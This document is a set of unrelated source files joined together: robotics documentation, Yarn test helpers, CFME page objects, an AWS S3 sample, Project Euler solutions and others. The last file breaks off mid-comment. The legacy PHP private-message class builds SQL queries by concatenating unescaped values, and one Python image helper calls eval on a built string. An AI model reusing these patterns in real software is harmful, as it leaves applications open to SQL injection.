initNavTree('classArMapFileLineSet.html',''); </script> <div id="doc-content"> <div class="header"> <div class="headertitle"> <div class="title">ArMapFileLineSet Member List</div> </div> </div><!--header--> <div class="contents"> This is the complete list of members for <a class="el" href="classArMapFileLineSet.html">ArMapFileLineSet</a>, including all inherited members.<table> <tr class="memlist"><td><a class="el" href="classArMapFileLineSet.html#a56f67f260e889e579aca10c96f0ecce0">ArMapFileLineSet</a>()</td><td><a class="el" href="classArMapFileLineSet.html">ArMapFileLineSet</a></td><td><code> [inline]</code></td></tr> <tr class="memlist"><td><a class="el" href="classArMapFileLineSet.html#a20ffa556fb29cc8002edd0032397e641">ArMapFileLineSet</a>(const ArMapFileLineSet &amp;other)</td><td><a class="el" href="classArMapFileLineSet.html">ArMapFileLineSet</a></td><td><code> [inline]</code></td></tr> <tr class="memlist"><td><a class="el" href="classArMapFileLineSet.html#ad5e7e11ac5b86446510d94509b9656b2">calculateChanges</a>(ArMapFileLineSet &amp;origLines, ArMapFileLineSet &amp;newLines, ArMapFileLineSet *deletedLinesOut, ArMapFileLineSet *addedLinesOut, bool isCheckChildren=true)</td><td><a class="el" href="classArMapFileLineSet.html">ArMapFileLineSet</a></td><td><code> [static]</code></td></tr> <tr class="memlist"><td><a class="el" href="classArMapFileLineSet.html#a25035b27bfa197ea998be47f1551aff3">find</a>(const ArMapFileLine &amp;groupParent)</td><td><a class="el" href="classArMapFileLineSet.html">ArMapFileLineSet</a></td><td></td></tr> <tr class="memlist"><td><a class="el" href="classArMapFileLineSet.html#ac8656203a7a214c9955931dfdb6b1b38">log</a>(const char *prefix)</td><td><a class="el" href="classArMapFileLineSet.html">ArMapFileLineSet</a></td><td></td></tr> <tr class="memlist"><td><a class="el" href="classArMapFileLineSet.html#ae5559e622528fd3f22f864092d14535b">operator=</a>(const ArMapFileLineSet &amp;other)</td><td><a class="el" href="classArMapFileLineSet.html">ArMapFileLineSet</a></td><td><code> [inline]</code></td></tr> <tr class="memlist"><td><a class="el" href="classArMapFileLineSet.html#a999e7ed2d6b3e7e16858fc866553a660">~ArMapFileLineSet</a>()</td><td><a class="el" href="classArMapFileLineSet.html">ArMapFileLineSet</a></td><td><code> [inline]</code></td></tr> </table></div><!-- contents --> </div> <div id="nav-path" class="navpath"> <ul> <li class="footer">Generated on Mon Nov 10 2014 07:58:48 for Aria by <a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/></a> 1.7.6.1 </li> </ul> </div> </body> </html>
<?php namespace Psi\Component\ContentType\Tests\Functional\Example\Field; use Psi\Component\ContentType\FieldInterface; use Psi\Component\ContentType\OptionsResolver\FieldOptionsResolver; use Psi\Component\ContentType\Standard\Storage\ObjectType; use Psi\Component\ContentType\Tests\Functional\Example\Form\Type as Form; use Psi\Component\ContentType\Tests\Functional\Example\Model\Image; use Psi\Component\ContentType\Tests\Functional\Example\View\ImageType; class ImageField implements FieldInterface { public function getViewType(): string { return ImageType::class; } public function getFormType(): string { return Form\ImageType::class; } public function getStorageType(): string { return ObjectType::class; } public function configureOptions(FieldOptionsResolver $options) { $options->setDefault('repository', 'default'); $options->setDefault('path', '/'); $options->setViewMapper(function (array $options, array $shared) { return [ 'repository' => $shared['repository'], 'path' => $shared['path'], ]; }); $options->setStorageMapper(function (array $options) { return [ 'class' => Image::class, ]; }); } }
/* @flow */ import Lockfile from '../../src/lockfile/wrapper.js'; import {ConsoleReporter} from '../../src/reporters/index.js'; import {Reporter} from '../../src/reporters/index.js'; import {parse} from '../../src/lockfile/wrapper.js'; import * as constants from '../../src/constants.js'; import {run as check} from '../../src/cli/commands/check.js'; import * as fs from '../../src/util/fs.js'; import {Install} from '../../src/cli/commands/install.js'; import Config from '../../src/config.js'; const stream = require('stream'); const path = require('path'); const fixturesLoc = path.join(__dirname, '..', 'fixtures', 'install'); export const runInstall = run.bind( null, ConsoleReporter, fixturesLoc, async (args, flags, config, reporter, lockfile): Promise<Install> => { const install = new Install(flags, config, reporter, lockfile); await install.init(); await check(config, reporter, {}, []); return install; }, [], ); export async function createLockfile(dir: string): Promise<Lockfile> { const lockfileLoc = path.join(dir, constants.LOCKFILE_FILENAME); let lockfile; if (await fs.exists(lockfileLoc)) { const rawLockfile = await fs.readFile(lockfileLoc); lockfile = parse(rawLockfile); } return new Lockfile(lockfile); } export function explodeLockfile(lockfile: string): Array<string> { return lockfile.split('\n').filter((line): boolean => !!line && line[0] !== '#'); } export async function getPackageVersion(config: Config, packagePath: string): Promise<string> { const loc = path.join(config.cwd, `node_modules/${packagePath.replace(/\//g, '/node_modules/')}/package.json`); const json = JSON.parse(await fs.readFile(loc)); return json.version; } export async function run<T, R>( Reporter: Class<Reporter & R>, fixturesLoc: string, factory: ( args: Array<string>, flags: Object, config: Config, reporter: R, lockfile: Lockfile, getStdout: () => string, ) => Promise<T> | T, args: Array<string>, flags: Object, name: string, checkInstalled: ?(config: Config, reporter: R, install: T) => ?Promise<void>, beforeInstall: ?(cwd: string) => ?Promise<void>, ): Promise<void> { let out = ''; const stdout = new stream.Writable({ decodeStrings: false, write(data, encoding, cb) { out += data; cb(); }, }); const reporter = new Reporter({stdout, stderr: stdout}); let cwd; if (fixturesLoc) { const dir = path.join(fixturesLoc, name); cwd = await fs.makeTempDir(path.basename(dir)); await fs.copy(dir, cwd, reporter); } else { // if fixture loc is not set then CWD is some empty temp dir cwd = await fs.makeTempDir(); } for (const {basename, absolute} of await fs.walk(cwd)) { if (basename.toLowerCase() === '.ds_store') { await fs.unlink(absolute); } } if (beforeInstall) { await beforeInstall(cwd); } // remove the lockfile if we create one and it didn't exist before const lockfile = await createLockfile(cwd); // create directories await fs.mkdirp(path.join(cwd, '.yarn-global')); await fs.mkdirp(path.join(cwd, '.yarn-link')); await fs.mkdirp(path.join(cwd, '.yarn-cache')); await fs.mkdirp(path.join(cwd, 'node_modules')); // make sure the cache folder been created in temp folder if (flags.cacheFolder) { flags.cacheFolder = path.join(cwd, flags.cacheFolder); } try { const config = new Config(reporter); await config.init({ binLinks: !!flags.binLinks, cwd, globalFolder: path.join(cwd, '.yarn-global'), cacheFolder: flags.cacheFolder || path.join(cwd, '.yarn-cache'), linkFolder: path.join(cwd, '.yarn-link'), production: flags.production, }); const install = await factory(args, flags, config, reporter, lockfile, () => out); if (checkInstalled) { await checkInstalled(config, reporter, install); } } catch (err) { throw new Error(`${err && err.stack} \nConsole output:\n ${out}`); } }
# Copyright 2014 OpenStack Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # from __future__ import print_function from __future__ import division from __future__ import absolute_import from alembic import op import sqlalchemy as sa def upgrade(): op.create_table( 'policy_rules', sa.Column('id', sa.String(length=36), nullable=False), sa.Column('rule', sa.Text, nullable=False), sa.Column('comment', sa.String(length=255), nullable=False), sa.Column('policy_name', sa.String(length=255), nullable=False), sa.Column('deleted', sa.String(length=36), server_default="", nullable=True), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('deleted_at', sa.DateTime(), nullable=True), sa.Column('updated_at', sa.DateTime(), nullable=True), sa.PrimaryKeyConstraint('id')) def downgrade(): op.drop_table('policy_rules')
import attr from cached_property import cached_property from navmazing import NavigateToAttribute from navmazing import NavigateToSibling from widgetastic.utils import Fillable from widgetastic.widget import Text from cfme.automate.dialogs import AddDialogView from cfme.automate.dialogs import AutomateCustomizationView from cfme.automate.dialogs import EditDialogView from cfme.automate.dialogs.dialog_tab import TabCollection from cfme.modeling.base import BaseCollection from cfme.modeling.base import BaseEntity from cfme.utils.appliance.implementations.ui import CFMENavigateStep from cfme.utils.appliance.implementations.ui import navigate_to from cfme.utils.appliance.implementations.ui import navigator from widgetastic_manageiq import PaginationPane from widgetastic_manageiq import Table class DialogsView(AutomateCustomizationView): title = Text("#explorer_title_text") paginator = PaginationPane() table = Table(".//div[@id='list_grid' or @class='miq-data-table']/table") @property def is_displayed(self): return ( self.in_customization and self.title.text == 'All Dialogs' and self.service_dialogs.is_opened and self.service_dialogs.tree.currently_selected == ["All Dialogs"]) class DetailsDialogView(AutomateCustomizationView): title = Text("#explorer_title_text") @property def is_displayed(self): return ( self.in_customization and self.service_dialogs.is_opened and self.title.text == 'Dialog "{}"'.format(self.context['object'].label) ) @attr.s class Dialog(BaseEntity, Fillable): """A class representing one Dialog in the UI.""" label = attr.ib() description = attr.ib(default=None) _collections = {'tabs': TabCollection} def as_fill_value(self): return self.label @property def dialog(self): return self @cached_property def tabs(self): return self.collections.tabs @property def tree_path(self): return self.parent.tree_path + [self.label] def update(self, updates): """ Update dialog method""" view = navigate_to(self, 'Edit') changed = view.fill(updates) if changed: view.save_button.click() else: view.cancel_button.click() view = self.create_view(DetailsDialogView, override=updates) assert view.is_displayed view.flash.assert_no_error() if changed: view.flash.assert_message( '{} was saved'.format(updates.get('name', self.label))) else: view.flash.assert_message( 'Dialog editing was canceled by the user.') def delete(self): """ Delete dialog method""" view = navigate_to(self, "Details") view.configuration.item_select('Remove Dialog', handle_alert=True) view = self.create_view(DialogsView) assert view.is_displayed view.flash.assert_no_error() view.flash.assert_success_message( 'Dialog "{}": Delete successful'.format(self.label)) @attr.s class DialogCollection(BaseCollection): """Collection object for the :py:class:`Dialog`.""" tree_path = ['All Dialogs'] ENTITY = Dialog def create(self, label=None, description=None): """ Create dialog label method """ view = navigate_to(self, 'Add') view.fill({'label': label, 'description': description}) return self.instantiate( label=label, description=description) @navigator.register(DialogCollection) class All(CFMENavigateStep): VIEW = DialogsView prerequisite = NavigateToAttribute('appliance.server', 'AutomateCustomization') def step(self, *args, **kwargs): self.view.service_dialogs.tree.click_path(*self.obj.tree_path) @navigator.register(DialogCollection) class Add(CFMENavigateStep): VIEW = AddDialogView prerequisite = NavigateToSibling('All') def step(self, *args, **kwargs): self.prerequisite_view.configuration.item_select('Add a new Dialog') @navigator.register(Dialog) class Details(CFMENavigateStep): VIEW = DetailsDialogView prerequisite = NavigateToAttribute('appliance.server', 'AutomateCustomization') def step(self, *args, **kwargs): self.prerequisite_view.service_dialogs.tree.click_path(*self.obj.tree_path) @navigator.register(Dialog) class Edit(CFMENavigateStep): VIEW = EditDialogView prerequisite = NavigateToSibling('Details') def step(self, *args, **kwargs): self.prerequisite_view.configuration.item_select("Edit this Dialog")
<div class="slide" id="welcome"> <h1>Welcome to GalliumOS</h1> <div class="content w50"> <p>Congratulations for choosing to install <br /> GalliumOS 2.0!</p> <p>If you are running this installation via the <em>Try GalliumOS</em> option, feel free to examine things as GalliumOS installs. After the installation, the desktop will look similar to how it does now.</p> </div> <div id="logos"> <div><img class="fo" src="images/logo_galliumos.png" /> <span class="fo is">GalliumOS</span></div> <div><img class="fo" src="images/logo_xubuntu.png" /> <span class="fo plus">Xubuntu</span></div> <div><img class="fo" src="images/logo_chromium.png" /> <span class="fo">Chrome hardware</span></div> </div> </div>
/** Copyright (c) 2017 Gabriel Dimitriu All rights reserved. DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. This file is part of chappy project. Chappy is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Chappy is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Chappy. If not, see <http://www.gnu.org/licenses/>. */ /** * @author Gabriel Dimitriu * */ package chappy.statistics.implementations;
/** * Created on Jul 16, 2010, 6:17:37 PM */ package com.dmurph.mvc; import java.beans.PropertyChangeListener; /** * @author Daniel Murphy * */ public interface IModel { public static final String DIRTY = "MODEL_DIRTY"; /** * Adds a property change listener to this model * @param argListener */ public abstract void addPropertyChangeListener(PropertyChangeListener argListener); /** * Removes a property change listener to this model * @param argListener */ public abstract void removePropertyChangeListener(PropertyChangeListener argListener); }
<?php define('NOCHECK_PM_BOX', false); define('CHECK_PM_BOX', true); define('SYSTEM_PM', true); define('DEL_PM_CONVERS', true); define('UPDATE_MBR_PM', true); class PrivateMsg { ## Public Methods ## function count_conversations($userid) { global $Sql; $total_pm = $Sql->query("SELECT COUNT(*) FROM " . DB_TABLE_PM_TOPIC . " WHERE ( '" . $userid . "' IN (user_id, user_id_dest) ) AND ( user_convers_status = 0 OR ( (user_id_dest = '" . $userid . "' AND user_convers_status = 1) OR (user_id = '" . $userid . "' AND user_convers_status = 2) ) ) ", __LINE__, __FILE__); return $total_pm; } function start_conversation($pm_to, $pm_objet, $pm_contents, $pm_from, $system_pm = false) { global $CONFIG, $Sql; if ($system_pm) { $pm_from = '-1'; $user_convers_status = '1'; } else $user_convers_status = '0'; $Sql->query_inject("INSERT INTO " . DB_TABLE_PM_TOPIC . " (title, user_id, user_id_dest, user_convers_status, user_view_pm, nbr_msg, last_user_id, last_msg_id, last_timestamp) VALUES ('" . $pm_objet . "', '" . $pm_from . "', '" . $pm_to . "', '" . $user_convers_status . "', 0, 0, '" . $pm_from . "', 0, '" . time() . "')", __LINE__, __FILE__); $this->pm_convers_id = $Sql->insert_id("SELECT MAX(id) FROM " . DB_TABLE_PM_TOPIC . " "); $this->send($pm_to, $this->pm_convers_id, $pm_contents, $pm_from, $user_convers_status, false); } function send($pm_to, $pm_idconvers, $pm_contents, $pm_from, $pm_status, $check_pm_before_send = true) { global $Sql; if ($check_pm_before_send) { $info_convers = $Sql->query_array(DB_TABLE_PM_TOPIC . " ", "last_user_id", "user_view_pm", "WHERE id = '" . $pm_idconvers . "'", __LINE__, __FILE__); if ($info_convers['last_user_id'] != $pm_from && $info_convers['user_view_pm'] > 0) { $Sql->query_inject("UPDATE " . DB_TABLE_MEMBER . " SET user_pm = user_pm - '" . $info_convers['user_view_pm'] . "' WHERE user_id = '" . $pm_from . "'", __LINE__, __FILE__); $Sql->query_inject("UPDATE " . DB_TABLE_PM_TOPIC . " SET user_view_pm = 0 WHERE id = '" . $pm_idconvers . "'", __LINE__, __FILE__); } } $Sql->query_inject("INSERT INTO " . DB_TABLE_PM_MSG . " (idconvers, user_id, contents, timestamp, view_status) VALUES('" . $pm_idconvers . "', '" . $pm_from . "', '" . strparse($pm_contents) . "', '" . time() . "', 0)", __LINE__, __FILE__); $this->pm_msg_id = $Sql->insert_id("SELECT MAX(id) FROM " . PREFIX . "pm_msg"); $Sql->query_inject("UPDATE " . DB_TABLE_PM_TOPIC . " SET user_view_pm = user_view_pm + 1, nbr_msg = nbr_msg + 1, last_user_id = '" . $pm_from . "', last_msg_id = '" . $this->pm_msg_id . "', last_timestamp = '" . time() . "' WHERE id = '" . $pm_idconvers . "'", __LINE__, __FILE__); $Sql->query_inject("UPDATE " . DB_TABLE_MEMBER . " SET user_pm = user_pm + 1 WHERE user_id = '" . $pm_to . "'", __LINE__, __FILE__); } function delete_conversation($pm_userid, $pm_idconvers, $pm_expd, $pm_del, $pm_update) { global $CONFIG, $Sql; $info_convers = $Sql->query_array(DB_TABLE_PM_TOPIC . " ", "user_view_pm", "last_user_id", "WHERE id = '" . $pm_idconvers . "'", __LINE__, __FILE__); if ($pm_update && $info_convers['last_user_id'] != $pm_userid) { if ($info_convers['user_view_pm'] > 0) $Sql->query_inject("UPDATE " . DB_TABLE_MEMBER . " SET user_pm = user_pm - '" . $info_convers['user_view_pm'] . "' WHERE user_id = '" . $pm_userid . "'", __LINE__, __FILE__); } if ($pm_expd) { if ($pm_del) { $Sql->query_inject("DELETE FROM " . DB_TABLE_PM_TOPIC . " WHERE id = '" . $pm_idconvers . "'", __LINE__, __FILE__); $Sql->query_inject("DELETE FROM " . DB_TABLE_PM_MSG . " WHERE idconvers = '" . $pm_idconvers . "'", __LINE__, __FILE__); } else $Sql->query_inject("UPDATE " . DB_TABLE_PM_TOPIC . " SET user_convers_status = 1 WHERE id = '" . $pm_idconvers . "'", __LINE__, __FILE__); } else { if ($pm_del) { $Sql->query_inject("DELETE FROM " . DB_TABLE_PM_TOPIC . " WHERE id = '" . $pm_idconvers . "'", __LINE__, __FILE__); $Sql->query_inject("DELETE FROM " . DB_TABLE_PM_MSG . " WHERE idconvers = '" . $pm_idconvers . "'", __LINE__, __FILE__); } else $Sql->query_inject("UPDATE " . DB_TABLE_PM_TOPIC . " SET user_convers_status = 2 WHERE id = '" . $pm_idconvers . "'", __LINE__, __FILE__); } } function delete($pm_to, $pm_idmsg, $pm_idconvers) { global $Sql; $Sql->query_inject("DELETE FROM " . DB_TABLE_PM_MSG . " WHERE id = '" . $pm_idmsg . "' AND idconvers = '" . $pm_idconvers . "'", __LINE__, __FILE__); $pm_max_id = $Sql->query("SELECT MAX(id) FROM " . DB_TABLE_PM_MSG . " WHERE idconvers = '" . $pm_idconvers . "'", __LINE__, __FILE__); $pm_last_msg = $Sql->query_array(DB_TABLE_PM_MSG, 'user_id', 'timestamp', "WHERE id = '" . $pm_max_id . "'", __LINE__, __FILE__); if (!empty($pm_max_id)) { $user_view_pm = $Sql->query("SELECT user_view_pm FROM " . DB_TABLE_PM_TOPIC . " WHERE id = '" . $pm_idconvers . "'", __LINE__, __FILE__); $Sql->query_inject("UPDATE " . DB_TABLE_PM_TOPIC . " SET nbr_msg = nbr_msg - 1, user_view_pm = '" . ($user_view_pm - 1) . "', last_user_id = '" . $pm_last_msg['user_id'] . "', last_msg_id = '" . $pm_max_id . "', last_timestamp = '" . $pm_last_msg['timestamp'] . "' WHERE id = '" . $pm_idconvers . "'", __LINE__, __FILE__); $Sql->query_inject("UPDATE " . DB_TABLE_MEMBER . " SET user_pm = user_pm - 1 WHERE user_id = '" . $pm_to . "'", __LINE__, __FILE__); } return $pm_max_id; } ## Private attributes ## var $pm_convers_id; var $pm_msg_id; } ?>
import os import re import sys import glob import code def split_nmls(nmls_path): files_to_parse = [] if os.path.isdir(nmls_path): files_to_parse = glob.glob(os.path.normpath(nmls_path) + '/*.nml') else: files_to_parse.append(nmls_path) # For each file passed as an argument... for file_to_parse in files_to_parse: split_nml(file_to_parse) print('Splitting complete!') def split_nml(nml_path): files_to_write, nodes_in_thing, comment_nodes, comments = [[] for i in range(4)] parameters_lines = ['<things>\n'] number_of_skeletons = 0 f_read = open(nml_path, 'r') line = '\n' parameters_flag = False thing_flag = False comments_flag = False while line != '': line = f_read.readline() # Check for flag activation if '<parameters>' in line: parameters_flag = True elif '<thing' in line and '<things>' not in line: thing_flag = True name = re.match('(.*?)name=\"(.*?)\"', line) name = name.groups()[-1] files_to_write.append(open(os.path.dirname(nml_path) + '/' + name + '.nml', 'w')) nodes_in_thing.append(0) number_of_skeletons += 1 for parameters_line in parameters_lines: files_to_write[number_of_skeletons-1].write(parameters_line) elif '<comments>' in line: comments_flag = True # Count nodes in each thing if '</node>' in line: nodes_in_thing[number_of_skeletons-1] += 1 # Record parameter lines if parameters_flag: parameters_lines.append(line) if thing_flag: files_to_write[number_of_skeletons-1].write(line) if comments_flag and '<comments>' not in line and '</comments>' not in line: m = re.match('[ ]+<comment node="([1-9a-zA-z]+)" content="([1-9a-zA-z]+)"/>', line) if m: comment_nodes.append(int(m.group(1))) comments.append(m.group(2)) # Check for flag deactivation if '</parameters>' in line: parameters_flag = False elif '</thing>' in line: thing_flag = False elif '</comments>' in line: comments_flag = False i = 0 node_min = 1 node_max = 1 for file_to_write in files_to_write: current_file = file_to_write current_file.write(' <branchpoints>\n </branchpoints>\n <comments>\n') node_max += nodes_in_thing[i] j = 0 for comment_node in comment_nodes: if node_min < comment_node <= node_max: current_file.write(' <comment node="' + str(comment_node) + '" content="' + comments[j] + '"/>\n') j += 1 current_file.write(' </comments>\n</things>') node_min += nodes_in_thing[i] i += 1 if __name__ == "__main__": if len(sys.argv) != 2: print('\nNML_SPLITTER -- Written by Nathan Spencer 2016') print('Usage: python nml_splitter.py ["path/to/nml/file.nml" || "path/to/nml/folder"]') else: split_nmls(sys.argv[1])
# For simple image-processing operations on python "Image" objects import Image import ImageFilter import math import kd_array # These fetch the red, green or blue components of an RGB triple. A normal Image # pixel is an RGB triple, whereas the black-white and grayscale images have scalar pixels. def get_red(image,x,y): return image.getpixel((x,y))[0] def get_scaled_red(image,x,y,maxval = 256.0): return get_red(image,x,y) / maxval def get_red_image(image): return image.split()[0] def get_green(image,x,y): return image.getpixel((x,y))[1] def get_scaled_green(image,x,y,maxval = 256.0): return get_green(image,x,y) / maxval def get_green_image(image): return image.split()[1] def get_blue(image,x,y): return image.getpixel((x,y))[2] def get_scaled_blue(image,x,y,maxval = 256.0): return get_blue(image,x,y) / maxval def get_blue_image(image): return image.split()[2] # Here, we fetch pixel values from black-white and grayscale images # For grayscale images (mode = 'L'), each value is a simple 8-bit integer def get_gray(image,x,y): return image.getpixel((x,y)) def get_scaled_gray(image,x,y,maxval = 256.0): return get_gray(image,x,y) / maxval def get_bw(image,x,y): return image.getpixel((x,y)) # Returns either 255 (white) or 0 (black) # This returns all the image pixels in one big list. def image_list(image): return list(image.getdata()) # This compares two pixels and computes the mean square error between them. For RGB images, these # pixels are triples, whereas black-white or grayscale pixels consist of scalar values. def pixel_error(p1,p2, vector = True): if vector: return math.sqrt((p1[0] - p2[0])**2 + (p1[1] - p2[1])**2 + (p1[2] - p2[2])**2) else: return abs(p1 - p2) # This calculates an average pixel over an entire image. def avg_color(image, vector = True): if vector: return avg_rgb(image) else: return avg_scalar_color(image) # Calc avg r, g and b values over an entire image. def avg_rgb(image): x,y = image.size total = float(x*y) sum_r, sum_g, sum_b = 0.0, 0.0, 0.0 for i in range(x): for j in range(y): r,g,b = image.getpixel((i,j)) sum_r, sum_g, sum_b = sum_r + r, sum_g + g, sum_b + b return [sum_r/total, sum_g/total, sum_b/total] # For scalar pixels def avg_scalar_color(image): x,y = image.size total = float(x*y) sum = 0.0 for i in range(x): for j in range(y): sum += image.getpixel((i,j)) return sum/total # Returns an array of average band strengths, one per column. band = red, green, blue, gray or bw(black-white) def column_avg(image,band='red'): x,y = image.size func = eval("get_"+band) a = kd_array.gen_array([x], init_elem = 0.0) for i in range(x): sum_band = 0 for j in range(y): sum_band += func(image,i,j) a[i] = float(sum_band)/float(y) return a def image_avg(image,band='red',scale = 1.0): return kd_array.vector_avg(column_avg(image,band=band)) / scale def scaled_column_avg(image,band='red',scale=256.0, target = 0.0, scaler = (lambda x, targ: x - targ)): a = column_avg(image,band=band) # print "column avgs: ", a for i in range(a.size): a[i] = apply(scaler, [a[i]/scale , target]) return a # Apply func to each R,G,B triple of the image, returning an array of whatever type that func returns. # Note: Image module includes an "eval" method, which is similar, but it's function must take # a single argument and will be applied to each color band in each pixel. def map_image(image,func): x,y = image.size a = kd_array.gen_array((x,y), init_elem = apply(func, [image.getpixel((0,0))])) for i in range(x): for j in range(y): a[i,j] = apply(func, [image.getpixel((i,j))]) return a
/** * Copyright 2010-2019 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * This file is licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. A copy of * the License is located at * * http://aws.amazon.com/apache2.0/ * * This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR * CONDITIONS OF ANY KIND, either express or implied. See the License for the * specific language governing permissions and limitations under the License. */ //snippet-sourcedescription:[s3_getcors.js demonstrates how to retrieve the CORS configuration of an Amazon S3 bucket.] //snippet-service:[s3] //snippet-keyword:[JavaScript] //snippet-sourcesyntax:[javascript] //snippet-keyword:[Code Sample] //snippet-keyword:[Amazon S3] //snippet-sourcetype:[full-example] //snippet-sourcedate:[2018-06-02] //snippet-sourceauthor:[AWS-JSDG] // ABOUT THIS NODE.JS SAMPLE: This sample is part of the SDK for JavaScript Developer Guide topic at // https://docs.aws.amazon.com/sdk-for-javascript/v2/developer-guide/s3-example-configuring-buckets.html // snippet-start:[s3.JavaScript.cors.getBucketCors] // Load the AWS SDK for Node.js var AWS = require('aws-sdk'); // Set the region AWS.config.update({region: 'REGION'}); // Create S3 service object s3 = new AWS.S3({apiVersion: '2006-03-01'}); // Set the parameters for S3.getBucketCors var bucketParams = {Bucket: process.argv[2]}; // call S3 to retrieve CORS configuration for selected bucket s3.getBucketCors(bucketParams, function(err, data) { if (err) { console.log("Error", err); } else if (data) { console.log("Success", JSON.stringify(data.CORSRules)); } }); // snippet-end:[s3.JavaScript.cors.getBucketCors]
#/usr/local/env python # class Person(object): """ Комментарий """ first_name = 'Александр' # Для всех экземпляров (shared переменная) last_name = 'Иванов' def __init__(self, last_name=None, first_name=None): if last_name: self.last_name = last_name if first_name: self.first_name = first_name def __str__(self): return '%s %s' % (self.first_name, self.last_name) # При получении self.attribute attribute сначала ищется в self потом в классе. if __name__ == '__main__': print(Person.first_name) print(Person.last_name) default_person = Person() print(default_person) Person.last_name = u'Петров' # Изменится у всех экземпляров класса, если они его не сохраняли "внутри себя" changed_person = Person() print(u'После изменения', default_person) print(u'После изменения', changed_person)
/* SEARCH INPUT ============================== */ Sg.SearchBox = Ember.TextField.extend({ placeholder: "Search Keywords", name: 'searchInput', expanded: false, classNames: ['sg-input'], didInsertElement: function () { if (this.searcher.searchedFor) { this.set('value', this.searcher.searchedFor); // this.evaluateHeight(); } }, update: function () { this.set('value', this.searcher.searchedFor); // this.evaluateHeight(); }.observes('searcher.searchedFor'), search: function() { this.searcher.clearFacets(); this.searcher.submitSearch(); }, // evaluateHeight: function() { // // Recalculate textarea height // if (this.value.length > 45 && !this.expanded) { // $('#' +this.get('elementId')).addClass('expanded'); // this.set('expanded', true); // } // else if (this.value.length <= 45 && this.expanded) { // $('#' +this.get('elementId')).removeClass('expanded'); // this.set('expanded', false); // } // }, keyUp: function(e) { // var characterKey = event.keyCode <= 90 && event.keyCode >= 48; var terms = this.value.toString().replace(/\:\s/g, ':'); this.searcher.setQuery(terms); // this.evaluateHeight(); }, keyDown: function (e) { if (e.keyCode === 13) { e.preventDefault(); e.stopPropagation(); this.search(); } } }); Sg.SearchSubmit = Ember.TextField.extend({ classNames: ['sg-submit'], type: 'submit', value: 'Search', click: function() { this.searcher.clearFacets(); this.searcher.submitSearch(); } });
from django.http import HttpResponse from django.contrib.auth import authenticate from django.utils import simplejson as json def basic_challenge(realm=None): if realm is None: realm = 'Restricted Access' error = dict(request='', error="Could not authenticate you.") response = HttpResponse(json.dumps(error), mimetype='application/json') response['WWW-Authenticate'] = 'Basic realm="%s"' % (realm) response.status_code = 401 return response def basic_authenticate(authentication): # Taken from paste.auth (authmeth, auth) = authentication.split(' ',1) if 'basic' != authmeth.lower(): return None auth = auth.strip().decode('base64') username, password = auth.split(':',1) return authenticate(username=username, password=password) def http_auth(function, *args, **kwargs): def decorator(request, *args, **kwargs): authorization = request.META.get('HTTP_AUTHORIZATION', '') if not authorization: return basic_challenge() user = basic_authenticate(authorization) if user: request.user = user return function(request, *args, **kwargs) return basic_challenge() decorator.__doc__ = function.__doc__ decorator.__name__ = function.__name__ decorator.__dict__.update(function.__dict__) return decorator
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import proto # type: ignore __protobuf__ = proto.module( package="google.cloud.aiplatform.v1beta1.schema.predict.instance", manifest={"TextExtractionPredictionInstance",}, ) class TextExtractionPredictionInstance(proto.Message): r"""Prediction input format for Text Extraction. Attributes: content (str): The text snippet to make the predictions on. mime_type (str): The MIME type of the text snippet. The supported MIME types are listed below. - text/plain key (str): This field is only used for batch prediction. If a key is provided, the batch prediction result will by mapped to this key. If omitted, then the batch prediction result will contain the entire input instance. AI Platform will not check if keys in the request are duplicates, so it is up to the caller to ensure the keys are unique. """ content = proto.Field(proto.STRING, number=1,) mime_type = proto.Field(proto.STRING, number=2,) key = proto.Field(proto.STRING, number=3,) __all__ = tuple(sorted(__protobuf__.manifest))
# Project Euler Problems. # A function that runs through a list of numbers under i and adds together multiples of # three or five. def three_five(i): # Creates the variable total and sets equal to zero total = 0 # Loops through a list of numbers created by range. # It starts at 1 and stops at the value of i. # Each item is stored in the variable num. for num in xrange(1, i): # Checks if the current value in num is divisible by three or five. if num % 3 == 0 or num % 5 == 0: #If it is then num is added to total which then becomes the new value of total. #The loop goes and does this until it reaches the end of the list of numbers. total += num #print num # Returns the value saved in total after the for loop has run completely. return total print three_five(1000), "\n" #for item in xrange(1, 10): #print item # This is actually Problem 2 in Project Euler # It is a function that creates a list of Fibonacci numbers while adding all of # the even ones together. def fib(n): #Two variables one set to zero the other to one. a = 0 b = 1 # Creates and empty list. result = [] # Creates a variable that is set equal to zero. new_result = 0 # Loops through the next lines of code so long that the value of b is less than the value of n. while b < n: # Takes the current value of b and adds it to our empty list (result). result.append(b) # Stores the current value of b in a so it can be used to add to the new value of b. # I.E. 0 + 1 = 1; 1 + 1 = 2; 1 + 2 = 3; 2 + 3 = 5 # That will happen so long as the b value is less than the n value. a, b = b, a + b # Checks if the b value is divisible by two/even. if b % 2 == 0: # If it is it will be added to our variable new_result which starts out with a value of zero. new_result += b # Prints out our list of Fibonacci numbers after the while loop breaks. print result, "\n" # Returns the new value saved in new_result. return new_result print fib(4000000), "\n" def square_sum(b): total = 0 # Loops through the list created by xrange(0, b + 1). # That list will go as high as b plus (+) 1. # The item is then saved in num so that the code that comes next can be executed # using the value stored in num. # Then it grabs the next item 